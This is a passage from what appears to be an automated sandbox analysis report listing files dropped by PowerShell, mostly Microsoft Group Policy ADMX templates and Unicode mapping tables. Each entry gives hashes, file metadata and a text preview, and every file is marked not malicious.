SHA1:	DFB7439E5AD93F3016235D8BBDB506D82CBF426B
SHA-256:	AAC48499587AAB3A4052D91830835FDA47A81CDFE0DA5A5C60D49BEA6D7D25C5
SHA-512:	2FE12F14EFB476B960C8B87B35EE733F2F5CE9C9351AD0784A0600EA0008B496A577BA6AA507EA43A4707684CED27583AB6ECB743B256C2C235181FFEBFCACF3
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="snmp" namespace="Microsoft.Policies.SNMP" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="SNMP_SNMP" displayName="$(string.SNMP_SNMP)">.. <parentCategory ref="windows:Network" />.. </category>.. </categories>.. <policies>.. <policy name="SNMP_Communities" class="Machine" displayName="$(string.SNMP_Communities)" explainText="$(string.SNMP_ValidCommunities_Help)" presentation="$(presentation.SNMP_Communities)" key="Software\Policies\SNMP\Parameters">.. <parentCategory ref="SNMP_SNMP" />..

C:\Users\user\AppData\Local\Temp\file\Resource\SoundRec.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1943
Entropy (8bit):	5.160076425034886
Encrypted:	false
SSDEEP:	48:3geDw08gmDt1fgSofHKnKb4Q5NelVEf8sl9/ghdNe5IVEf8sl9/ghq:QeD/mDt1YSovKnKbF5Nm48sl9sdNt480
MD5:	465FC93B60F40715822660265FB12C02
SHA1:	A1369FB394E0EADBC4FFC272EF267E38B89627EE
SHA-256:	23975807C65E1B67FEF71872F7F3F2BAC5373F4E88AF3D3C435BE6634AF795F3
SHA-512:	081FD62C41342A48E0FC1E874CCFD2F59B9B15665C378D1B999AF51F1867FF286F8380A8866D7B745F5589230C14D60C3F7E1470A4E9522427ADEC41D4890C9B
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="soundrec" namespace="Microsoft.Policies.SoundRecorder" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="Soundrec_GroupPolicyCategory" displayName="$(string.Soundrec_GroupPolicyCategory)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="Soundrec_DiableApplication_TitleText_1" class="User" displayName="$(string.Soundrec_DiableApplication_TitleText)" explainText="$(string.Soundrec_DisableApplication_DescriptionText)" key="SOFTWARE\Polic

C:\Users\user\AppData\Local\Temp\file\Resource\StartMenu.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (312), with CRLF line terminators
Category:	dropped
Size (bytes):	31220
Entropy (8bit):	5.1574793141250455
Encrypted:	false
SSDEEP:	384:IO+56a0MAT5unpXE8TM2kzI6EQQVkX6v1yb9VQnwL/KqwksDJ4adDqFTLMQtmfLa:oQY8t92qoyNmc
MD5:	1B3E0725DF0E701224B9AEDF574F5BA1
SHA1:	352B8833532AA11DE7D38E4D5B1C43C6A8237EB6
SHA-256:	C72A9DAF9D0C2A95F806F75BC68D8FEF9924A0D1F4D74D2B38946117324265D8
SHA-512:	C4C760BC7454CA292242AB7FFD8893D2833F6E32F11A38E0578D6344D70187B9ECE03AA8008A158D4ABA221DAEB97C64F12AB22B7CACC327E8FBAA087636D397
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="startmenu" namespace="Microsoft.Policies.StartMenu" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <policies>.. <policy name="ClearRecentProgForNewUserInStartMenu" class="User" displayName="$(string.ClearRecentProgForNewUserInStartMenu)" explainText="$(string.ClearRecentProgForNewUserInStartMenu_Help)" key="Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" valueName="ClearRecentProgForNewUserInStartMenu">.. <parentCategory ref="windows:StartMenu" />.. <supportedOn ref="windows:SUPPORTED_Windows7ToVista" />.. <en

C:\Users\user\AppData\Local\Temp\file\Resource\SystemRestore.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	5.148888128922757
Encrypted:	false
SSDEEP:	48:3geDw08gmDt3f2+ofHKnK825C1tgBqBdL/tXBqBq:QeD/mDt3++ovKnKB5UtLdLtsq
MD5:	B0AC77FDEB234BBB81BEC0190201F450
SHA1:	F62F47A6CB55ED3902CA0E8EA7665264C9D72D8B
SHA-256:	E94E850376BEBC83A4CAFDA19060156B576AEB08873EAA3B3D88D474D66D5F92
SHA-512:	409E86D9999C7862675859D83669AFC65C8040E5F0C612C03D7954B95D61EFAECE2887F2777CFBC1FC2C534620AE428BB8D9C36F1B19A25742D8AFAFCE3619BF
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="systemrestore" namespace="Microsoft.Policies.SystemRestore" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="SR" displayName="$(string.SR)">.. <parentCategory ref="windows:System" />.. </category>.. </categories>.. <policies>.. <policy name="SR_DisableConfig" class="Machine" displayName="$(string.SR_DisableConfig)" explainText="$(string.SR_DisableConfig_Help)" key="Software\Policies\Microsoft\Windows NT\SystemRestore" valueName="DisableConfig">.. <parentCategory ref="SR" />.. <supported

C:\Users\user\AppData\Local\Temp\file\Resource\TPM.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (449), with CRLF line terminators
Category:	dropped
Size (bytes):	7343
Entropy (8bit):	5.063869291186138
Encrypted:	false
SSDEEP:	192:vYEWL/1hAigPfjkhPONOP4sCdinTsGsuoDiwPFohORkaOfTd4rS:E/1hAigPfjkhWIP4sCdinTsGsuoDif0w
MD5:	46DD8B5146472AF8A03AB85E9D2D6F4F
SHA1:	B46D633B241DA1A0F661726D8F610352C5F9B1F5
SHA-256:	ADCC630A2EEED224B66A4E601BD8B06F3FADC3568C5EB8178BBD837FE7DF2C87
SHA-512:	CE4F7B961BC9419930BE09951ECCA77095FB3A5A9A9BE7D4EE4BA9A215444F22806E2F0C9DA08A67033ACC437371DDDFD1C2A0CD3F67C7E67E7E65E9CA2444AC
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="tpm" namespace="Microsoft.Policies.TrustedPlatformModule" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="TPMCategory" displayName="$(string.TPMCategory)">.. <parentCategory ref="windows:System" />.. </category>.. </categories>.. <policies>.. <policy name="ActiveDirectoryBackup_Name" class="Machine" displayName="$(string.ActiveDirectoryBackup_Name)" explainText="$(string.ActiveDirectoryBackup_Help)" key="Software\Policies\Microsoft\TPM">.. <parentCategory ref="TPMCategory" />.. <suppor

C:\Users\user\AppData\Local\Temp\file\Resource\TabletPCInputPanel.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	11826
Entropy (8bit):	4.87917265387192
Encrypted:	false
SSDEEP:	192:vYI86Y1mf537vshUdUehUdUIvEut5Iout5I9JJ:f81mf537vshUdUehUdUIvEc5Ioc5I9JJ
MD5:	DC7AED82305FFEC011BDE9D153B7EE6F
SHA1:	649BF4156341969B999D125D2843C7027676619B
SHA-256:	B424D96915A50C753A4928A0EDC3EBF2AF7A0B3DD5B7B9CA8CB797B4A25EC458
SHA-512:	872FD58844DF267885E095EE5BC464D668A8C53CD99942AE938BA648215DCA58E352A5997ACEF6A377FF73FEB72C2E99EA6978B098FC9CD9F11D07DD29D26EE6
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="tabletpcinputpanel" namespace="Microsoft.Policies.TabletPCInputPanel" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="TabletTIP" displayName="$(string.TabletTIP)">.. <parentCategory ref="windows:TabletPC" />.. </category>.. </categories>.. <policies>.. <policy name="AutoComplete_1" class="User" displayName="$(string.AutoComplete)" explainText="$(string.AutoCompleteExplain)" key="software\policies\microsoft\TabletTip\1.7" valueName="DisableACIntegration">.. <parentCategory ref="TabletTIP" />

C:\Users\user\AppData\Local\Temp\file\Resource\TabletShell.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	12331
Entropy (8bit):	5.085877792604995
Encrypted:	false
SSDEEP:	384:+ehZ4TXPEbvpP7U7T0a0IYjY2GFGIm8qC:+eM
MD5:	526596E9F11043EFB72E8FD3479B1134
SHA1:	C5644D949C1A2A1F1AA8E68A49539B162510A7CE
SHA-256:	E87F9FDCC35DE1E212456E027C9F35A1C5B4710520C53843AB1EEB3B6241BC36
SHA-512:	C6ABE6E394322A8DD377425118F051EC7068A4A185A02BE41955B2E042EC2FFE75AF20E180C7F5FC21F1BD8BDE78C7240265B30CAE1A7E90A7963E642825120B
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="tabletshell" namespace="Microsoft.Policies.TabletPCShell" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="Accessories" displayName="$(string.Accessories)">.. <parentCategory ref="windows:TabletPC" />.. </category>.. <category name="Cursors" displayName="$(string.Cursors)">.. <parentCategory ref="windows:TabletPC" />.. </category>.. <category name="HardwareButtons" displayName="$(string.HardwareButtons)">.. <parentCategory ref="windows:TabletPC" />.. </category>.. <category na

C:\Users\user\AppData\Local\Temp\file\Resource\TaskScheduler.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	5520
Entropy (8bit):	5.204520468148552
Encrypted:	false
SSDEEP:	96:QeD/mDm6ovKnKD5E/u8T/u8v/R8C/R8T/R82/R83/t8a/t8s/u8b/u8n/x8m/x8f:vYnuququURXRQRjR0tnt7uquuxFxtmEK
MD5:	81F5D01FCC855EAA4E2195A41354CF43
SHA1:	E671548F1BE0E041848387E29C886DF88DEC47EB
SHA-256:	7D908E972EFD3696084D60135A685B96553EF215A181DB900B70A2A5320DDC22
SHA-512:	7C8573DB0F1A821B642294A5848BA5AB67A71A7B944A19A9C79AC38782849E4E6B68C8036E01C9835AD931B79A268513FD662216689E39B321F956624BB14BDF
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="taskscheduler" namespace="Microsoft.Policies.TaskScheduler" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="TaskScheduler" displayName="$(string.TaskScheduler)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="AllowBrowse_1" class="User" displayName="$(string.AllowBrowse)" explainText="$(string.AllowBrowseHelp)" key="Software\Policies\Microsoft\Windows\Task Scheduler5.0" valueName="Allow Browse">.. <parentCategory ref="TaskSche

C:\Users\user\AppData\Local\Temp\file\Resource\Taskbar.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	12235
Entropy (8bit):	4.807876954110427
Encrypted:	false
SSDEEP:	96:QeD/meJSo2oIIyVuN70I+aVNI1V5eCItVaIMVlIVVAIWVY3IWVpIzlV/IDVtILVe:vASHUS/5tVYLzUkF4j/46OjYdFTcSz
MD5:	3719C04EEF608DFC5993E712C3430365
SHA1:	47F09D460851F47CF200EB3C81AE173EAF905761
SHA-256:	43E85AFE02807FE8EDDE9C7858A8085DF97113117F422A3485333988D966266C
SHA-512:	6CCFDE0271563F79CA53080C1907AE5C74F76083249684B041E8DB8C60C4A770306DD34636DFF1606756D788806929E3A5556BF7E8CF7AD63DDEEAE0D71F1BDB
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="taskbar" namespace="Microsoft.Policies.TaskBar2" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <policies>.. <policy name="HideSCAPower" class="User" displayName="$(string.HideSCABattery)" explainText="$(string.HideSCABattery_Help)" key="Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" valueName="HideSCAPower">.. <parentCategory ref="windows:StartMenu" />.. <supportedOn ref="windows:SUPPORTED_WindowsVista" />.. <enabledValue>.. <decimal value="1" />..

C:\Users\user\AppData\Local\Temp\file\Resource\TerminalServer-Server.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (342), with CRLF line terminators
Category:	dropped
Size (bytes):	18654
Entropy (8bit):	5.120782082996186
Encrypted:	false
SSDEEP:	384:+QqnQsuy9CsODa4a4Ym79b+vYm79b+VLdHEEHMgec+8yTJh67m3exgb:+QqnFJzjwjRdHEEHMtHfv6auWb
MD5:	FF63C2011F5455DFB88BF4E55E0C41BC
SHA1:	1120C97538348F5F9EB49C055D83C6AF77390C76
SHA-256:	975CE51517CD3EF6C7D8717F9966680BBC127EFB3EB18D7F7F17E06855702FD5
SHA-512:	6799EC3EFA857D9A88FC7479E7D1F6148304BAAB376E5E693BB9D9B44112FDF89D13E75D7BECABF2EFCE978F77BB9206E8D09B65BF890A6D54680628ACD8C0EF
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="terminalserver-Server" namespace="Microsoft.Policies.TerminalServer-Server" />.. <using prefix="terminalserver" namespace="Microsoft.Policies.TerminalServer" />.. <using prefix="server" namespace="Microsoft.Policies.Server" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />..<categories>.. <category name="TS_APP_COMPATIBILITY" displayName="$(string.TS_APP_COMPATIBILITY)" explainText="$(string.TS_APP_COMPATIBILITY_Help)">.. <parentCategory ref="terminalserver:TS_TERMINAL_SERVER" />.. </category>.. <category name="RDS_VM_HOST_Nod

C:\Users\user\AppData\Local\Temp\file\Resource\TerminalServer.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (350), with CRLF line terminators
Category:	dropped
Size (bytes):	93542
Entropy (8bit):	5.045765160694501
Encrypted:	false
SSDEEP:	1536:PsieUgOROb+/bjuAGxejp/ajqG5g7DgMK0KaKoWdW+Q5AYk66QhqyRpl8vmdeSv5:PsieUgO/5qyRpj3gY3vsw
MD5:	EAA1A71D350B56D3EDEA127911ADC959
SHA1:	8D2A21120AC2B4A9EEC8DE3CB4531D3DA9C123F0
SHA-256:	87E28F940D8868D0460FD3372CCE184CF8145BCFFA50F70B5B1C2713ABB70C15
SHA-512:	8247A68B5A227170046B48F23F8980BD1AE96BD6143B72E2E77105C4F0B93C9EFD4EBED2FD9D01F1F964F307AAA44D668B327FB1E1BE255DA78ED04566C401AF
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance".. revision="1.1" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="terminalserver" namespace="Microsoft.Policies.TerminalServer" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. <using prefix="products" namespace="Microsoft.Policies.Products" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.... <supportedOn>.. <definitions>.. At least Microsoft Windows Server 2003 with SP1-->.. <definition name="TS_SUPPORTED_Win2k3_Sp1" displayName="$(string.TS_SUPPORTED_Win2k3_Sp1)">.. <or>.. <range ref="products:MicrosoftWindowsServer2003" minVersionIndex="1" />.. <range ref="products:MicrosoftWindows" m

C:\Users\user\AppData\Local\Temp\file\Resource\Thumbnails.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	2352
Entropy (8bit):	5.146917114784082
Encrypted:	false
SSDEEP:	48:3geDw08gmDRfZofbf+5e3dkIOAshde5nqIO2shdeX9SlOgsDPCq:QeD/mDRRoj25e3dkIOVde5nqIOrdeX9F
MD5:	C683F6AD17FF50BEF2C01849DF62E26B
SHA1:	2C0A3DE1DA8CE89E315A8E7FA4ECCA437704231A
SHA-256:	DD2524C5C4622F2C2EF5840559ED7A627C2E69B56AFD9C82C4B278F57A7BF7FF
SHA-512:	AAC342595F61E5ACBF2586DB97D0FE800D3336E379527C5B0EF618E119A62C12F3B4FB872B08EA287CFE03313559D9442E36861F7351B4A52A1A1FEC7F350DE5
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="thumbnails" namespace="Microsoft.Policies.Thumbnails" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. <using prefix="products" namespace="Microsoft.Policies.Products" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <policies>.. <policy name="DisableThumbnails" class="User" displayName="$(string.DisableThumbnails)" explainText="$(string.DisableThumbnails_Help)" key="Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" valueName="DisableThumbnails">.. <parentCategory ref="windows:WindowsExplorer" />.. <supportedOn ref="windows:SUPPORTED_WindowsVista" />.. <

C:\Users\user\AppData\Local\Temp\file\Resource\TouchInput.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	2740
Entropy (8bit):	5.184847789787456
Encrypted:	false
SSDEEP:	48:3geDw08gmDNH7fsI0ofHKnKMi5o34lpkld/L34lpklduZBZV47kfdBfZBZV47kfq:QeD/mD5EI0ovKnKB5E4l8dz4l8du7T4l
MD5:	76493E67F8D3F5DE1D0BFD5B8DAB7273
SHA1:	EBDECB2CE0D01FD778CA315436F6598470F4716C
SHA-256:	961F52ED14C291D67E640DCE3A9B59D3DA4B7B7FE864878A2A583E4E24AB8561
SHA-512:	BADB7230FCF2B4259F293895F6B9728B590C14E6144459DCDB28EB78C6CA6D3842492FFE64D14F503DD15107BDD1EA0B58B7B90799AEBD038107B4DD24812161
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="touchinput" namespace="Microsoft.Policies.TabletPCTouchInput" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="TouchInput" displayName="$(string.TouchInput)">.. <parentCategory ref="windows:TabletPC" />.. </category>.. </categories>.. <policies>.. <policy name="TouchInputOff_1" class="User" displayName="$(string.TouchInputOff)" explainText="$(string.TouchInputOff_Help)" key="SOFTWARE\Policies\Microsoft\TabletPC" valueName="TurnOffTouchInput">.. <parentCategory ref="TouchInput" />.. <sup

C:\Users\user\AppData\Local\Temp\file\Resource\TypeSupport\Unicode\ICU\icudt26l.dat

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	214512
Entropy (8bit):	5.620862548294959
Encrypted:	false
SSDEEP:	3072:C5em1am14oBR+pa3sHxW5D+eXHdsdj5xkq7KV2Sq71c64ZAr3Abyc7dAzATXcErQ:CR1R/UFTSO1TPcaMm
MD5:	525DE57B8D1167A4EFB7EB00C013354F
SHA1:	3F1AC2D2B6807C3ED2FC41351262712B72FAD749
SHA-256:	B388595D6E96E51430BEC6022B1A5635CA541E60936ABD73342AE8319DFE6802
SHA-512:	DFD950D1220F46BF5F75C4130902BB63A4447C435D25386461A4E4653E73DC6780577FB51B14B182A1F2B1A38585914237625B199D806B6F80F9BECC64EEFF32
Malicious:	false
Preview:	...'........CmnD........ Copyright (C) 2003, International Business Machines Corporation and others. All Rights Reserved. ..............`...2....j..E.......icudt26l_cnvalias.icu.icudt26l_unorm.icu.icudt26l_uprops.icu........ ..'........CvAl........................................\....... .....8.P................. .*.3.6.?.C.t.........&.?.Q.l...............).C.].w.................................A.~.....U.....-.I.......0...........!.T...........].y...........<.\.n.........$.?.X.s...............-.<.V.p.............&.5.D.S.b.q...............8.Y.y...............1.@.V.......#.J.q.........).W.g.............E.\.s.............$.?.N.].......4.e........._.s.................&.:.N.].q.....................C.X.m.........................................=.......!.7...S.J.......!.H.o.........'...U.D.....r......./.P.l.........8.l.............X.@.b.1.n.....5.......8.u.........G.+...,.C.Z.q...!...........\|.....y...0.......6...q.......H.y.......B.?.i.....w.......N.........H.........9.........3.....-.{.....

C:\Users\user\AppData\Local\Temp\file\Resource\TypeSupport\Unicode\Mappings\Adobe\symbol.txt

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	10745
Entropy (8bit):	5.463218625267491
Encrypted:	false
SSDEEP:	192:sRDIlhfxjh5/q7Wr6KyfyHnW9WSQftm15VkCnl2moTTEmbZ3mrZWlBAjnBmnVRn8:sVCx27WuKy0W9WDlSVPlwd3C/BCVBFyB
MD5:	31D752FA13B4D1FC7B7B4747A3F6D3F9
SHA1:	EAAFD280B2EA187F078674B9A1D5A8206CCF4A13
SHA-256:	52DBABCDEBE38F3E19E9071D6796FE49F1463F03D2D82064AAB4A10BFBD4DDDF
SHA-512:	ED402D201B19C9EDEEEFA17D2F82A480B8D16CE3235668A91BDD0E6F3B59CBB55BC7119A272C34D1C4E88999B6FE08697D65D65E7B4DE44C197E57F2FF44F079
Malicious:	false
Preview:	#..# Name: Adobe Symbol Encoding to Unicode..# Unicode version: 2.0..# Table version: 1.0..# Date: 2011 July 12..# ..# Copyright (c) 1991-2011 Unicode, Inc. All Rights reserved...# ..# This file is provided as-is by Unicode, Inc. (The Unicode Consortium). No..# claims are made as to fitness for any particular purpose. No warranties of..# any kind are expressed or implied. The recipient agrees to determine..# applicability of information provided. If this file has been provided on..# magnetic media by Unicode, Inc., the sole remedy for any claim will be..# exchange of defective media within 90 days of receipt...# ..# Unicode, Inc. hereby grants the right to freely use the information..# supplied in this file in the creation of products supporting the..# Unicode Standard, and to make copies of this file in any form for..# internal or external distribution as long as this notice remains..# attached...# ..# Format: 4 tab-delimited fields:..#

C:\Users\user\AppData\Local\Temp\file\Resource\TypeSupport\Unicode\Mappings\Adobe\zdingbat.txt

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	12296
Entropy (8bit):	5.3793384753346905
Encrypted:	false
SSDEEP:	192:IcRDIlhXomP1RueMV1tQdS6t0Ftjzt8CFrMbyaYQgtrtXiPIn:IcV+ombupV1mdS5SC+20I
MD5:	691886379048A5F9065EE903757AF29B
SHA1:	9F6453E6F027E771602AD98C5379EAA2B2469463
SHA-256:	E7651BCF12532AF30C79C499E7A280CCBCD7F208436999A21B1500B07149BC95
SHA-512:	E2934BD4F36CC21E1D71C4FCFC3C31D091A54F04762B0CF7B20FD6BF70CE30FD209A406020C82C565005BC0677471EB524B5A537059E29E4231955FC9307216C
Malicious:	false
Preview:	#..# Name: Adobe Zapf Dingbats Encoding to Unicode..# Unicode version: 2.0..# Table version: 1.0..# Date: 2011 July 12..# ..# Copyright (c) 1991-2011 Unicode, Inc. All Rights reserved...# ..# This file is provided as-is by Unicode, Inc. (The Unicode Consortium). No..# claims are made as to fitness for any particular purpose. No warranties of..# any kind are expressed or implied. The recipient agrees to determine..# applicability of information provided. If this file has been provided on..# magnetic media by Unicode, Inc., the sole remedy for any claim will be..# exchange of defective media within 90 days of receipt...# ..# Unicode, Inc. hereby grants the right to freely use the information..# supplied in this file in the creation of products supporting the..# Unicode Standard, and to make copies of this file in any form for..# internal or external distribution as long as this notice remains..# attached...# ..# Format: Three tab-delimited

C:\Users\user\AppData\Local\Temp\file\Resource\TypeSupport\Unicode\Mappings\Mac\CENTEURO.TXT

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	12919
Entropy (8bit):	5.2462976949839515
Encrypted:	false
SSDEEP:	192:X1ei8BsiHo6ZD5OSlEZGWRBnBb7ec56ZXj3nZv0CU8+zLtVoeuq/W+vsAfzMUMQi:FeDsiV4SlTWRRBb7e6b6D
MD5:	3EA4A9A2765040C721374CCBB8E7BD59
SHA1:	BAE4C79A9E9C27CBB7308BB364F69566387CCE45
SHA-256:	AE8FDF0311FE249EE1A3E08FE36C394CA2DA791C622B665DDEBCB623AC248903
SHA-512:	1A86665A081C73D170AC6BA9A3ABFBEDECD71557B274D99E254A446E852E6C62CC0BF383EEAFBFC1722F63AF65B4E4BC73F9E0EBC6FD790317B08FFD488BE289
Malicious:	false
